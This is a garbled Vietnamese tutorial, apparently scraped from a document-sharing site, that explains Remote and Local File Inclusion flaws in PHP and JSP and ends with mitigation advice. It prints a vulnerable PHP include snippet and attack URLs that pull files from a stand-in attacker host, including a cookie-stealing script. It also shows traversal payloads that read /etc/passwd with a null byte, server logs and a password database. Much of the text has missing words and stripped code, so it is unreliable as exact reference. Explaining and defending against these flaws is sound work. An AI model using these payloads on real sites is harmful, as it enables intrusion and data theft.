TẤN CÔNG KHAI THÁC LỖ HỔNG FILE INCLUSION

6 7 0
Tài liệu đã được kiểm tra trùng lặp
TẤN CÔNG KHAI THÁC LỖ HỔNG FILE INCLUSION

Đang tải... (xem toàn văn)

Thông tin tài liệu

TẤN CÔNG KHAI THÁC LỖ HỔNG FILE INCLUSION Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào tập tin nhạy cảm máy chủ web thực thi tệp tin độc hại cách sử dụng chức “include” Lỗ hổng xảy chế kiểm tra đầu vào không thực tốt, khiến tin tặc khai thác chèn dự liệu độc hại Hàm ‘Include’ Trước nói chi tiết lỗ hổng File Inclusion, cần hiểu sơ qua lời gọi hàm ‘include()’ Toàn nội dung file cụ thể chép vào file khác chứa lời gọi ‘include’ Phương thức sử dụng nhằm tránh việc code lặp sử dụng lúc Lập trình viên thường sử dụng hàm include() nhằm thêm liệu, tệp tin mã nguồn dùng chung tệp tin ứng dụng Những nơi thường sử dụng footers, headers, menu files … Dưới ví dụ đơn giản hàm include 1 Một menu trang sau menu.php: Menu trang sử dụng lại tất trang ứng dụng cách dùng hàm include() abc.php

WELCOME

Giờ file menu.php bao hàm file abc.php, abc.php truy cập, nội dung file menu.php chép vào abc.php thực thi Tuy nhiên vấn đề bị tin tặc khai thác cơng trở lại website gây hậu nguy hiểm Đây lỗ hổng nguy hiểm liên quan đến hàm include() Remote file inclusion Local file inclusion Lưu ý: Trong PHP có số hàm có chức tương tự, hay hàm người lập trình tự viết như: Inlude_once(), require(), require_once()… Lỗ hổng Remote file inclusion RFI cho phép tin tặc include thực thi máy chủ mục tiêu tệp tin lưu trữ từ xa Tin tặc sử dụng RFI để chạy mã độc máy người dùng phía máy chủ Ảnh hưởng kiểu công thay đổi từ đánh cắp tạm thời session token liệu người dùng việc tải lên webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ Khai thác lỗ hổng Remote file inclusion PHP PHP có nguy cao bị công RFI việc sử dụng lệnh include nhiều thiết đặt mặc định server ảnh hưởng phần Để bắt đầu cần tìm nơi chứa file include ứng dụng phụ thuộc vào liệu đầu vào người dùng Một nơi chứa lỗ hổng ví dụ đây, giá trị ‘testfile’ cung cấp người dùng: www.victim_site.com/abc.php?testfile=example Mã nguồn PHP chứa lỗ hổng: $test = $_REQUEST[“testfile”]; Include($test.”.php”); Thông số ‘testfile’ lấy từ phía người dùng Đoạn mã lấy giá trị ‘testfile’ trực tiếp include vào file PHP Sau ví dụ hướng công sử dụng đoạn mã trên: www.victim_site.com/abc.php? test=http://www.attacker_site.com/attack_page File “attack_page” bao hàm vào trang có sẵn máy chủ thực thi trang “abc.php” truy cập Tin tặc đưa mã độc vào “attack_page” thực hành vi độc hại Khai thác Remote file inclusion JSP Giả sử kịch nơi trang JSP sử dụng “c:import” nhằm nhập tên tệp tin người dùng cung cấp vào trang JSP thông qua biến đầu vào ‘test’: Tấn công: www.victim_site.com/abc.jsp? test=http://www.attackersite.com/stealingcookie.js Script độc hại stealingcookie.js đưa vào trang nạn nhân điều khiển tin tặc Tấn công Local file inclusion Lỗ hổng Local file inclusion nằm trình include file cục có sẵn server Lỗ hổng xảy đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include Khi đầu vào không kiểm tra, tin tặc sử dụng tên file mặc định truy cập trái phép đến chúng, tin tặc lợi dụng thơng tin trả để đọc tệp tin nhạy cảm thư mục khác cách chèn ký tự đặc biệt “/”, “ /”, “-“ Local file inclusion PHP: Ví dụ đường dẫn sau bị cơng: http://victim_site/abc.php?file=userinput.txt Giá trị biến ‘file’ lấy vào đoạn mã PHP đây: Giờ tin tặc đưa mã độc vào biến ‘file’ để truy cập trái phép vào file chủ mục sử dụng kí tự duyệt mục “ /” để di chuyển đến mục khác Ví dụ tin tặc lấy log cách cung cấp đầu vào “/apache/logs/error.log” “/apache/logs/access.log” hay việc đánh cắp liệu liên quan đến tài khoản người dùng thông qua “ / /etc/passwd” hệ thống Unix Trong số trường hợp đặc biệt phần mở rộng mặc định thêm vào thơng tin đưa lên từ trình duyệt trước đưa vào hàm Include() Cách tốt tránh phần mở rộng sử dụng byte rỗng kết thúc “%00” để vượt qua Đây cách tin tặc sử dụng để thực hành vi độc hại truy cập kiểu file Ví dụ đầu vào lấy từ đoạn mã sau phần mở rộng mặc định “.php” Nếu tin tặc muốn truy cập file kiểu “text” chúng sử dụng %00 (kí tự byte rỗng sau tên file http://victim_site/abc.php?testfile= / / / /etc/passwd%00 Tương tự Local file inclusion JSP: Giả sử URL yêu cầu ứng dụng biến ‘test’ lấy liệu đầu vào lệnh include: www.victim_site.com/abc.jsp?test=xyz.jsp Giá trị biến ‘test’ chuyển qua: … … Mũi cơng dành cho đoạn mã nằm file database hợp lệ, sử dụng đầu vào Do có lỗ hổng local file inclusion nằm ứng dụng, file database include vào trang JSP: www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB Khắc phục lỗ hổng File Inclusion Lỗ hổng xảy việc kiểm tra đầu vào không trọng Khuyến cáo riêng khơng nên hạn chế tới mức tối thiểu phải sử dụng biến từ “User Input” để đưa vào hàm include hay eval Trong trường hợp phải sử dụng với thông tin nhập từ bên ngoài, trước đưa vào hàm cần kiểm tra kỹ lưỡng Chỉ chấp nhận kí tự số cho tên file (A-Z 0-9) Blacklist tồn kí tự đặc biệt khơng sử dụng Giới hạn API cho phép việc include file từ mục xác định nhằm tránh directory traversal Tấn công File Inclusion nguy hiểm SQL Injection thực cần thiết phải có biện pháp khắc phục lỗ hổng Kiểm tra liệu đầu vào hợp lý chìa khóa để giải vấn đề ... Remote file inclusion Local file inclusion Lưu ý: Trong PHP có số hàm có chức tương tự, hay hàm người lập trình tự viết như: Inlude_once(), require(), require_once()… Lỗ hổng Remote file inclusion. .. tin tặc Tấn công Local file inclusion Lỗ hổng Local file inclusion nằm trình include file cục có sẵn server Lỗ hổng xảy đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include Khi đầu vào... hưởng kiểu công thay đổi từ đánh cắp tạm thời session token liệu người dùng việc tải lên webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ Khai thác lỗ hổng Remote file inclusion PHP

Ngày đăng: 24/11/2022, 18:09

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan